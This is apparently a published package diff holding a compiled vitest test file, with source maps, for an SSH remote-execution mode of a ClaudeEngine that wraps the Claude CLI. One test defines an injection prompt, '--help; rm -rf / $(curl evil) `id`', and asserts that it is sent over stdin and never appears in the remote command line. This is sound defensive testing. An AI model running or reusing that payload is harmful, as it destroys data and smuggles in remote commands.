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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"claude.ssh.test.d.ts","sourceRoot":"","sources":["../../../../src/engines/__tests__/claude.ssh.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
|
2
|
+
import { EventEmitter } from "node:events";
|
|
3
|
+
vi.mock("node:child_process", () => ({
|
|
4
|
+
spawn: vi.fn(),
|
|
5
|
+
}));
|
|
6
|
+
vi.mock("../../shared/logger.js", () => ({
|
|
7
|
+
logger: { warn: vi.fn(), debug: vi.fn(), info: vi.fn(), error: vi.fn() },
|
|
8
|
+
}));
|
|
9
|
+
// resolveBin is only used on the local (non-SSH) path; keep it deterministic.
|
|
10
|
+
vi.mock("../../shared/resolveBin.js", () => ({
|
|
11
|
+
resolveBin: (bin) => `/usr/local/bin/${bin}`,
|
|
12
|
+
formatSpawnError: (label, bin, err) => `Failed to spawn ${label} (${bin}): ${err.message}`,
|
|
13
|
+
}));
|
|
14
|
+
import { spawn } from "node:child_process";
|
|
15
|
+
import { ClaudeEngine } from "../claude.js";
|
|
16
|
+
const mockSpawn = vi.mocked(spawn);
|
|
17
|
+
function createMockProcess() {
|
|
18
|
+
const proc = new EventEmitter();
|
|
19
|
+
proc.stdout = new EventEmitter();
|
|
20
|
+
proc.stderr = new EventEmitter();
|
|
21
|
+
proc.stdin = { write: vi.fn(), end: vi.fn(), on: vi.fn() };
|
|
22
|
+
proc.pid = 12345;
|
|
23
|
+
proc.exitCode = null;
|
|
24
|
+
proc.killed = false;
|
|
25
|
+
proc.kill = vi.fn(() => { proc.killed = true; });
|
|
26
|
+
return proc;
|
|
27
|
+
}
|
|
28
|
+
/** Emit a successful stream-json result and close the process. */
|
|
29
|
+
function finishOk(proc, result = "done") {
|
|
30
|
+
proc.stdout.emit("data", Buffer.from(JSON.stringify({ type: "result", subtype: "success", result, session_id: "sess-1" }) + "\n"));
|
|
31
|
+
proc.exitCode = 0;
|
|
32
|
+
proc.emit("close", 0);
|
|
33
|
+
}
|
|
34
|
+
describe("ClaudeEngine — SSH remote execution", () => {
|
|
35
|
+
let engine;
|
|
36
|
+
beforeEach(() => {
|
|
37
|
+
engine = new ClaudeEngine();
|
|
38
|
+
});
|
|
39
|
+
afterEach(() => {
|
|
40
|
+
vi.restoreAllMocks();
|
|
41
|
+
mockSpawn.mockReset();
|
|
42
|
+
});
|
|
43
|
+
it("runs claude over ssh and sends the prompt via stdin, never on the command line", async () => {
|
|
44
|
+
const proc = createMockProcess();
|
|
45
|
+
mockSpawn.mockReturnValue(proc);
|
|
46
|
+
// A prompt full of shell metacharacters and a flag-shaped token.
|
|
47
|
+
const nastyPrompt = "--help; rm -rf / $(curl evil) `id`";
|
|
48
|
+
const p = engine.run({ prompt: nastyPrompt, cwd: "/tmp", sshHost: "myhost", sessionId: "s1" });
|
|
49
|
+
const [bin, args] = mockSpawn.mock.calls[0];
|
|
50
|
+
expect(bin).toBe("ssh");
|
|
51
|
+
expect(args).toContain("-T");
|
|
52
|
+
expect(args).toContain("BatchMode=yes");
|
|
53
|
+
// host is passed after a `--` end-of-options guard
|
|
54
|
+
expect(args[args.indexOf("--") + 1]).toBe("myhost");
|
|
55
|
+
const remoteCmd = args[args.length - 1];
|
|
56
|
+
expect(remoteCmd).toContain("setsid sh -c");
|
|
57
|
+
expect(remoteCmd).toContain("__JINN_REMOTE_PGID__=$$");
|
|
58
|
+
// The untrusted prompt must NOT appear in the remote command line at all.
|
|
59
|
+
expect(remoteCmd).not.toContain("rm -rf");
|
|
60
|
+
expect(remoteCmd).not.toContain("curl evil");
|
|
61
|
+
// Prompt is delivered over stdin instead.
|
|
62
|
+
expect(proc.stdin.write).toHaveBeenCalledWith(nastyPrompt);
|
|
63
|
+
expect(proc.stdin.end).toHaveBeenCalled();
|
|
64
|
+
finishOk(proc);
|
|
65
|
+
await p;
|
|
66
|
+
});
|
|
67
|
+
it("drops local-only flags (--chrome, --mcp-config) on the remote command", async () => {
|
|
68
|
+
const proc = createMockProcess();
|
|
69
|
+
mockSpawn.mockReturnValue(proc);
|
|
70
|
+
const p = engine.run({ prompt: "hi", cwd: "/tmp", sshHost: "h", sessionId: "s2", mcpConfigPath: "/local/mcp.json" });
|
|
71
|
+
const args = mockSpawn.mock.calls[0][1];
|
|
72
|
+
const remoteCmd = args[args.length - 1];
|
|
73
|
+
expect(remoteCmd).not.toContain("--chrome");
|
|
74
|
+
expect(remoteCmd).not.toContain("--mcp-config");
|
|
75
|
+
expect(remoteCmd).not.toContain("/local/mcp.json");
|
|
76
|
+
finishOk(proc);
|
|
77
|
+
await p;
|
|
78
|
+
});
|
|
79
|
+
it("prepends a cd to remoteCwd when provided", async () => {
|
|
80
|
+
const proc = createMockProcess();
|
|
81
|
+
mockSpawn.mockReturnValue(proc);
|
|
82
|
+
const p = engine.run({ prompt: "hi", cwd: "/tmp", sshHost: "h", sessionId: "s3", remoteCwd: "/srv/work" });
|
|
83
|
+
const args = mockSpawn.mock.calls[0][1];
|
|
84
|
+
const remoteCmd = args[args.length - 1];
|
|
85
|
+
expect(remoteCmd).toMatch(/^cd '\/srv\/work' && setsid sh -c/);
|
|
86
|
+
finishOk(proc);
|
|
87
|
+
await p;
|
|
88
|
+
});
|
|
89
|
+
it("kill() terminates the remote process group over a second ssh connection", async () => {
|
|
90
|
+
const runProc = createMockProcess();
|
|
91
|
+
const killProc = createMockProcess();
|
|
92
|
+
mockSpawn.mockReturnValueOnce(runProc).mockReturnValueOnce(killProc);
|
|
93
|
+
const p = engine.run({ prompt: "long task", cwd: "/tmp", sshHost: "remote1", sessionId: "k1" });
|
|
94
|
+
// Remote supervisor reports its process-group id on stderr.
|
|
95
|
+
runProc.stderr.emit("data", Buffer.from("__JINN_REMOTE_PGID__=4242\n"));
|
|
96
|
+
engine.kill("k1", "User cancelled");
|
|
97
|
+
// Second spawn must be an ssh kill targeting the negative pgid.
|
|
98
|
+
expect(mockSpawn.mock.calls.length).toBeGreaterThanOrEqual(2);
|
|
99
|
+
const [killBin, killArgs] = mockSpawn.mock.calls[1];
|
|
100
|
+
expect(killBin).toBe("ssh");
|
|
101
|
+
expect(killArgs).toContain("remote1");
|
|
102
|
+
expect(killArgs.join(" ")).toContain("kill -s TERM -- -4242");
|
|
103
|
+
// Let the run settle as interrupted.
|
|
104
|
+
runProc.exitCode = 0;
|
|
105
|
+
runProc.emit("close", 0);
|
|
106
|
+
const result = await p;
|
|
107
|
+
expect(result.error).toBe("User cancelled");
|
|
108
|
+
});
|
|
109
|
+
it("defers the remote kill until the pgid marker arrives when kill() races startup", async () => {
|
|
110
|
+
const runProc = createMockProcess();
|
|
111
|
+
const killProc = createMockProcess();
|
|
112
|
+
mockSpawn.mockReturnValueOnce(runProc).mockReturnValueOnce(killProc);
|
|
113
|
+
const p = engine.run({ prompt: "task", cwd: "/tmp", sshHost: "remote2", sessionId: "race1" });
|
|
114
|
+
// Kill BEFORE the supervisor reported its pgid — no remote kill is possible yet.
|
|
115
|
+
engine.kill("race1", "User cancelled");
|
|
116
|
+
expect(mockSpawn.mock.calls.length).toBe(1);
|
|
117
|
+
// Marker arrives, split across two chunks (chunk-boundary robustness).
|
|
118
|
+
runProc.stderr.emit("data", Buffer.from("__JINN_REMOTE_PGID__=77"));
|
|
119
|
+
runProc.stderr.emit("data", Buffer.from("7\n"));
|
|
120
|
+
// The deferred remote kill must now have fired with the captured pgid.
|
|
121
|
+
expect(mockSpawn.mock.calls.length).toBe(2);
|
|
122
|
+
expect(mockSpawn.mock.calls[1][1].join(" ")).toContain("kill -s TERM -- -777");
|
|
123
|
+
runProc.exitCode = 0;
|
|
124
|
+
runProc.emit("close", 0);
|
|
125
|
+
const result = await p;
|
|
126
|
+
expect(result.error).toBe("User cancelled");
|
|
127
|
+
});
|
|
128
|
+
it("strips the pgid marker so it never leaks into reported stderr", async () => {
|
|
129
|
+
const proc = createMockProcess();
|
|
130
|
+
mockSpawn.mockReturnValue(proc);
|
|
131
|
+
const p = engine.run({ prompt: "hi", cwd: "/tmp", sshHost: "h", sessionId: "s4" });
|
|
132
|
+
proc.stderr.emit("data", Buffer.from("__JINN_REMOTE_PGID__=99\nreal warning\n"));
|
|
133
|
+
// Non-zero exit surfaces stderr; the marker line must be gone.
|
|
134
|
+
proc.exitCode = 2;
|
|
135
|
+
proc.emit("close", 2);
|
|
136
|
+
const result = await p;
|
|
137
|
+
expect(result.error ?? "").not.toContain("__JINN_REMOTE_PGID__");
|
|
138
|
+
});
|
|
139
|
+
});
|
|
140
|
+
describe("ClaudeEngine — local execution unchanged", () => {
|
|
141
|
+
let engine;
|
|
142
|
+
beforeEach(() => { engine = new ClaudeEngine(); });
|
|
143
|
+
afterEach(() => { vi.restoreAllMocks(); mockSpawn.mockReset(); });
|
|
144
|
+
it("passes the prompt as an argv element and does not write to stdin", async () => {
|
|
145
|
+
const proc = createMockProcess();
|
|
146
|
+
mockSpawn.mockReturnValue(proc);
|
|
147
|
+
const p = engine.run({ prompt: "hello world", cwd: "/tmp", sessionId: "l1" });
|
|
148
|
+
const [bin, args] = mockSpawn.mock.calls[0];
|
|
149
|
+
expect(bin).toBe("/usr/local/bin/claude");
|
|
150
|
+
expect(args).toContain("hello world");
|
|
151
|
+
expect(proc.stdin.write).not.toHaveBeenCalled();
|
|
152
|
+
finishOk(proc);
|
|
153
|
+
await p;
|
|
154
|
+
});
|
|
155
|
+
});
|
|
156
|
+
//# sourceMappingURL=claude.ssh.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"claude.ssh.test.js","sourceRoot":"","sources":["../../../../src/engines/__tests__/claude.ssh.test.ts"],"names":[],"mappings":"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